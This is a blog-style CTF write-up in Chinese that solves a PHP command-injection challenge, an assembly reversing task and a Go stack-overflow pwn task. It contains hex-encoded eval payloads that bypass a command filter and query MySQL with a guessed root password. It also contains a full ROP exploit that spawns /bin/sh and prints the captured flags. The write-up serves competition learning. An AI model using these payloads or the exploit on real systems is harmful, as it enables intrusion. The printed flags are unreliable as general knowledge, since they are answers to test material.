# Web

# Simple_php

​ 这个 Simple_php 一点儿也不 Simple (⋟﹏⋞)
​ 源码放这儿了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

​ 很明显,POST 一个 cmd 进去,然后通过 escapeshellcmd 函数对参数进行转义,然后进行逆天的正则,之后 RCE。
​ 大概就是这样,还能干啥?全都给过滤了,还能咋绕过?
​ 首先是信息搜集,不过有用的似乎没多少,查看进程发现一个 MySQL 的进程,可以试着打一下 MySQL:

mysql 277 0.0 16.9 1083992 89076 pts/0 Sl+ 07:38 0:00 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock

​ 看来是攻击 MySQL 了,猜测用户是 root,密码随便猜,这道题也是 root,运气好,猜中了,那么,先查数据库:

1
2
3
4
5
6
7
8
9
10
11
//构造这个查询语句
echo `mysql -uroot -proot -e "SHOW DATABASES"`;
//payload
cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253484f572044415441424153455322603b,2)));
//结果
Warning: Use of undefined constant aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c45435420534348454d415f4e414d45204153205048505f434d532046524f4d20494e464f524d4154494f4e5f534348454d412e534348454d4154413b22603b - assumed 'aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c45435420534348454d415f4e414d45204153205048505f434d532046524f4d20494e464f524d4154494f4e5f534348454d412e534348454d4154413b22603b' (this will throw an Error in a future version of PHP) in Command line code on line 1
PHP_CMS
information_schema
mysql
performance_schema
PHP_CMS
1
2
3
4
5
6
7
8
//构造这个查询语句
echo `mysql -uroot -proot -e "select table_name as PHP_CMS from information_schema.TABLES where TABLE_SCHEMA='PHP_CMS'"`;
//payload
cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202273656c656374207461626c655f6e616d65206173205048505f434d532066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d275048505f434d532722603b,2)));
//结果
Warning: Use of undefined constant aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202273656c656374207461626c655f6e616d65206173205048505f434d532066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d275048505f434d532722603b - assumed 'aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202273656c656374207461626c655f6e616d65206173205048505f434d532066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d275048505f434d532722603b' (this will throw an Error in a future version of PHP) in Command line code on line 1
PHP_CMS
F1ag_Se3Re7

​ 查一下这个 F1ag_Se3Re7,不出意外的话,应该 flag 在这里面:

1
2
3
4
5
6
7
8
//构造这个查询语句
echo `mysql -uroot -proot -e "SELECT * FROM PHP_CMS.F1ag_Se3Re7"`;
//payload
cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c454354202a2046524f4d205048505f434d532e463161675f53653352653722603b,2)));
//结果
Warning: Use of undefined constant aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c454354202a2046524f4d205048505f434d532e463161675f53653352653722603b - assumed 'aa6563686f20606d7973716c202d75726f6f74202d70726f6f74202d65202253454c454354202a2046524f4d205048505f434d532e463161675f53653352653722603b' (this will throw an Error in a future version of PHP) in Command line code on line 1
id f1ag66_2024
1 flag{e784d525-93a1-466b-9f22-38a3add54dfe}

​ flag:

1
flag{e784d525-93a1-466b-9f22-38a3add54dfe}

​ 补充:

1. 因为存在 escapeshellcmd 函数,所以在转义之后,在 system 函数中,"在经过 hex2bin 之后,就能够表示字符串" 本身
2. 在构造 substr 的时候,第一个参数没有引号也能正常使用,只是会出现一个报错

# Re

# asm_re

ex
数据段,数据段分配内存,每一个数据段会获得 2 个内存单元
计算机采用小端存储,小端字节序存储:把一个数据的低位字节的内容,存储在低地址处,把高位字节的内容,存储在高地址处;
数据段:存放数据的段。使用时候,用 DS 寄存器
大于一个字节长度的 16 进制数据进行高低位分割之后进行传输
image.png
DCB:用于分配一片连续的字节存储单元并用指定的数据初始化
DCB 表示:它分配一段字节的内存单元,它每个操作数都占有一个字节,操作数范围为 - 128~255 的数值或字符串。
关键部分
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
int main()
{
char flag[100];
int data[] = {0x1FD7, 0x21B7, 0x1E47, 0x2027, 0x26E7, 0x10D7, 0x1127, 0x2007, 0x11c7, 0x1e47, 0x1017, 0x1017,
0x11f7, 0x2007, 0x1037, 0x1107, 0x1f17, 0x10d7, 0x1017, 0x1017, 0x1f67, 0x1017, 0x11c7, 0x11c7, 0x1017,
0x1fd7, 0x1f17, 0x1107, 0xf47, 0x1127, 0x1037, 0x1e47, 0x1037, 0x1fd7, 0x1107, 0x1fd7, 0x1107, 0x2787};
int len;
len=sizeof(data)/sizeof(data[0]);
int index=0;

for(int j=0;j<len;j++)
{
for(int i=32;i<128;i++)
{
if((((i*0x50+0x14)^0x4D)+0x1E)==data[j])
{
flag[index++]=(char)i;
break;
}
}

}
flag[index]='\0';//char型

puts(flag);
//flag{67e9a228e45b622c2992fb5174a4f5f5}
return 0;
}

# Pwn

# gostack(复现):

go 语言的栈溢出,没遇到过,赛后复现下,看看能否干出来。
首先是检查保护,不过 64 位,出了 NX 之外没有任何保护,那就简单不少,拖到 IDA 里看看,很轻松就能找到 mainmain:

1
2
3
4
5
6
7
8
9
10
11
12
// main.main
void __fastcall main_main()
{
__int64 v0; // r14
void *retaddr; // [rsp+8h] [rbp+0h] BYREF

while ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
runtime_morestack_noctxt();
main_main_func1();
if ( (unsigned __int8)main_main_func3() )
main_main_func2();
}

不过这个很明显,有点看不懂,毕竟没接触过 go 语言,那么,先直接运行下看看程序是啥情况?:

1
2
3
4
5
6
root@g01den-virtual-machine:/mnt/shared# ./pwn
Welcome to CISCN!
Happy magic golang!
Input your magic message :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaa
Your magic message :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaaaaa

就结束了,没了,感觉很简单,有输入,但是只有一次写入。
这个运行里给了一部分信息,那么凭借这些信息很轻松就找到了主要部分函数的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
// main.main.func3
__int64 __golang main_main_func3(__int64 a1, __int64 a2)
{
__int64 v2; // r14
__int128 v3; // xmm15
__int64 v4; // rax
__int64 v5; // rcx
__int64 v6; // rdx
int v7; // r11d
int v8; // ebx
int v9; // r11d
int v10; // ecx
int v11; // r8d
int v12; // r9d
int v13; // r10d
int v14; // r11d
__int64 v15; // rbx
int v16; // r8d
int v17; // r9d
int v18; // r10d
int v19; // r11d
int v20; // ecx
int v21; // r8d
int v22; // r9d
int v23; // r11d
char *v24; // rdx
unsigned __int8 *v25; // r10
__int64 i; // rax
__int64 v27; // rax
int v28; // r10d
int v29; // r11d
__int64 v31; // [rsp+10h] [rbp-208h]
__int64 v32; // [rsp+10h] [rbp-208h]
char v33[72]; // [rsp+48h] [rbp-1D0h] BYREF
char v34; // [rsp+90h] [rbp-188h] BYREF
unsigned __int8 *v35; // [rsp+148h] [rbp-D0h]
__int64 v36; // [rsp+150h] [rbp-C8h]
__int128 v37; // [rsp+158h] [rbp-C0h] BYREF
_QWORD v38[2]; // [rsp+168h] [rbp-B0h] BYREF
char *v39; // [rsp+178h] [rbp-A0h]
__int64 v40; // [rsp+180h] [rbp-98h]
__int64 v41; // [rsp+188h] [rbp-90h]
__int64 v42[4]; // [rsp+190h] [rbp-88h] BYREF
__int64 v43; // [rsp+1B0h] [rbp-68h]
__int64 v44; // [rsp+1B8h] [rbp-60h]

while ( (unsigned __int64)&v34 <= *(_QWORD *)(v2 + 16) )
runtime_morestack_noctxt();
v4 = ((__int64 (__fastcall *)(char *))loc_4606F4)(v33);
v39 = v33;
v40 = 256LL;
v41 = 256LL;
((void (__golang *)(__int64, __int64, __int64, __int64 *))loc_460722)(v4, a2, v5, v42);
v42[0] = (__int64)off_4DF4E8;
v42[1] = v6;
v42[2] = (__int64)&off_4C5DD0;
v42[3] = 0x10000LL;
fmt_Fprintf(
(unsigned int)off_4DF508,
qword_5633E8,
(unsigned int)"Happy magic golang!\n",
20,
0,
0,
0,
(unsigned int)off_4DF4E8,
v7);
v38[0] = &RTYPE_string;
v38[1] = &off_4DF040;
v8 = qword_5633E8;
fmt_Fprintf(
(unsigned int)off_4DF508,
qword_5633E8,
(unsigned int)"%s",
2,
(unsigned int)v38,
1,
1,
(unsigned int)&off_4DF040,
v9);
bufio__ptr_Scanner_Scan((unsigned int)v42, v8, v10, 2, (unsigned int)v38, v11, v12, v13, v14);
v15 = v43;
v35 = (unsigned __int8 *)runtime_slicebytetostring(0, v43, v44, 2, (unsigned int)v38, v16, v17, v18, v19, v31);
v36 = v15;
v24 = v39;
v25 = v35;
for ( i = 0LL; v15 > i; ++i )
{
v20 = *v25;
*v24++ = v20;
++v25;
}
v37 = v3;
v27 = runtime_convTstring((_DWORD)v35, v36, v20, 2, (unsigned int)v38, v21, v22, (_DWORD)v25, v23, v32);
*(_QWORD *)&v37 = &RTYPE_string;
*((_QWORD *)&v37 + 1) = v27;
fmt_Fprintf(
(unsigned int)off_4DF508,
qword_5633E8,
(unsigned int)"Your magic message :%s\n\", missing CPU supp",
23,
(unsigned int)&v37,
1,
1,
v28,
v29);
return 0LL;
}

作为一个新人,我敢保证我眼睛看瞎了也看不懂这玩意儿,因此,先 gdb 一下再说,在那之前,先下断点,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00000000004A0974                 movups  [rsp+208h+var_B0], xmm15
.text:00000000004A097D lea rdx, RTYPE_string
.text:00000000004A0984 mov qword ptr [rsp+208h+var_B0], rdx
.text:00000000004A098C lea r10, off_4DF040 ; "Input your magic message :\nSIG"
.text:00000000004A0993 mov qword ptr [rsp+208h+var_B0+8], r10
.text:00000000004A099B mov rbx, cs:qword_5633E8
.text:00000000004A09A2 lea rax, off_4DF508
.text:00000000004A09A9 lea rcx, aS_2 ; "%s"
.text:00000000004A09B0 mov edi, 2
.text:00000000004A09B5 lea rsi, [rsp+208h+var_B0]
.text:00000000004A09BD mov r8d, 1
.text:00000000004A09C3 mov r9, r8
.text:00000000004A09C6 call fmt_Fprintf
.text:00000000004A09CB lea rax, [rsp+208h+var_88]
.text:00000000004A09D3 call bufio__ptr_Scanner_Scan

这里找到了需要下断点的大概的地址,就是最后这一行的这里是输入的函数,下断点之后,再继续进行调试,之后就发现了一点奇怪的东西,就是这儿:

1
02:0010-1f8 0xc000044d68 —▸ 0xc0000b2000 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'

栈的上下都没有写入的 AAA…,但是这个题目又叫栈溢出,就很耐人寻味是为啥,不过,懒得考虑那么多了,再继续 gdb 走起,之后就发现了,AAA 被逐渐逐渐地写入到了栈上:

1
2
3
4
5
6
7
8
00:0000│ rsp   0xc000049d60 ◂— 0x0
01:0008-1f8 0xc000049d68 —▸ 0xc000102000 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
02:0010-1f0 0xc000049d70 ◂— 0x24 /* '$' */
03:0018-1e8 0xc000049d78 ◂— 0x2
04:0020-1e0 0xc000049d80 —▸ 0xc000049eb8 —▸ 0x4aa800 ◂— 0x10
05:0028-1d8 0xc000049d88 ◂— 0x1
06:0030-1d0 0xc000049d90 ◂— 0x1
07:0038│ rdx-7 0xc000049d98 ◂— 0x61616161616161 /* 'aaaaaaa' */ <----这里可以看到被写入了栈上

然后查看栈空间的布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
07:0038│ rdx-7 0xc000049d98 ◂— 0x61616161616161 /* 'aaaaaaa' */
08:0040-1c0 0xc000049da0 ◂— 0x0
... ↓ 30 skipped
27:0138-0c8 0xc000049e98 —▸ 0xc000020090 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
28:0140-0c0 0xc000049ea0 ◂— 0x24 /* '$' */
29:0148-0b8 0xc000049ea8 —▸ 0x49136a ◂— mov rbp, qword ptr [rsp + 0x18]
2a:0150-0b0 0xc000049eb0 —▸ 0x549e80 (data_start+3296) —▸ 0xc000100000 —▸ 0x4b9640 ◂— 0x8
2b:0158-0a8 0xc000049eb8 —▸ 0x4aa800 ◂— 0x10
2c:0160-0a0 0xc000049ec0 —▸ 0x4df040 —▸ 0x4c15af ◂— 0x6f79207475706e49 ('Input yo')
2d:0168-098 0xc000049ec8 —▸ 0xc000049d98 ◂— 0x61616161616161 /* 'aaaaaaa' */
2e:0170-090 0xc000049ed0 ◂— 0x100
2f:0178-088 0xc000049ed8 ◂— 0x100
30:0180-080 0xc000049ee0 —▸ 0x4df4e8 —▸ 0x4aeb40 ◂— 0x10
31:0188-078 0xc000049ee8 —▸ 0xc000010010 —▸ 0xc00007e000 ◂— 0x0
32:0190-070 0xc000049ef0 —▸ 0x4c5dd0 —▸ 0x49b080 ◂— cmp rsp, qword ptr [r14 + 0x10]
33:0198-068 0xc000049ef8 ◂— 0x10000
34:01a0│-060 0xc000049f00 —▸ 0xc000102000 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
35:01a8│-058 0xc000049f08 ◂— 0x24 /* '$' */
36:01b0│-050 0xc000049f10 ◂— 0x1000
37:01b8│-048 0xc000049f18 —▸ 0xc000102000 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
38:01c0│-040 0xc000049f20 ◂— 0x1000
39:01c8│-038 0xc000049f28 ◂— 0x1000
3a:01d0│-030 0xc000049f30 ◂— 0x25 /* '%' */
3b:01d8│-028 0xc000049f38 ◂— 0x25 /* '%' */
3c:01e0│-020 0xc000049f40 ◂— 0x0
... ↓ 2 skipped
3f:01f8│-008 0xc000049f58 ◂— 0x1
40:0200rbp 0xc000049f60 —▸ 0xc000049f70 —▸ 0xc000049fd0 ◂— 0x0

能清晰地看到,rbp 与缓冲区的大小:

1
2
pwndbg> distance 0xf60 0xd98
0xf60->0xd98 is -0x1c8 bytes (-0x39 words)

那么,之后就可以直接进行栈溢出了。但是,在经过多次溢出之后,发现了个致命的问题,就是关于这个输入函数,致命在哪里呢?在这儿:

1
2
.text:000000000049A786                 cmp     byte ptr [rax+79h], 0
.text:000000000049A78A jnz short loc_49A79A

以及:

1
2
3
4
5
.text:000000000049A79A loc_49A79A:                             ; CODE XREF: bufio__ptr_Scanner_Scan+2A↑j
.text:000000000049A79A xor eax, eax
.text:000000000049A79C mov rbp, [rsp+0D0h+var_8]
.text:000000000049A7A4 add rsp, 0D0h
.text:000000000049A7AB retn

它会对这儿进行一次比对,如果是 0,则不会跳转,如果不是 0,则会跳转,直接停止输入的函数。
所以需要直接用 \x00 来填充是最保险的。之后就是 syscall 来打,但是 exp 我不是很会写,先借鉴借鉴大佬们的,之后再看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
# context.log_level = 'debug'
io = process('./gostack')
# io = remote('8.147.133.63', 34196)

io.recvuntil(b'magic message :')


bss = 0x000000000563C50
syscall_addr = 0x0000000000404043
pop_rsi = 0x000000000042138a
pop_rax = 0x000000000040f984
pop_rdx = 0x00000000004944ec
pop_rdi = 0x00000000004a18a5
leave_ret = 0x000000000049695a

# write '/bin/sh\x00' to bss
rop = p64(pop_rax)
rop += p64(0)
rop += p64(pop_rsi)
rop += p64(bss)
rop += p64(pop_rdx)
rop += p64(8)
rop += p64(pop_rdi)
rop += p64(0)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)

# execve('/bin/sh')
rop += p64(pop_rax)
rop += p64(0x3b)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(pop_rdx)
rop += p64(0)
rop += p64(pop_rdi)
rop += p64(bss)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)
rop += p64(syscall_addr)


payload = b'/bin/sh\x00' + b'A' * 0xf8
payload += p64(0xc00004dd98)
payload += p64(0x110)
payload += p64(0x110)
payload += b'D' * 0x60 + b'E' * 0x50 + b'F' *8 + rop


# gdb.attach(io, gdbscript='''
# b *0x0000000004A0A88
# c
# stack 60
# ''')
# pause()
io.sendline(payload)
sleep(0.6)
io.sendline(b'/bin/sh\x00')
sleep(0.6)
io.sendline(b'cat flag')
io.interactive()

# Crypto

# 古密

image.png
image.png
image.png

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝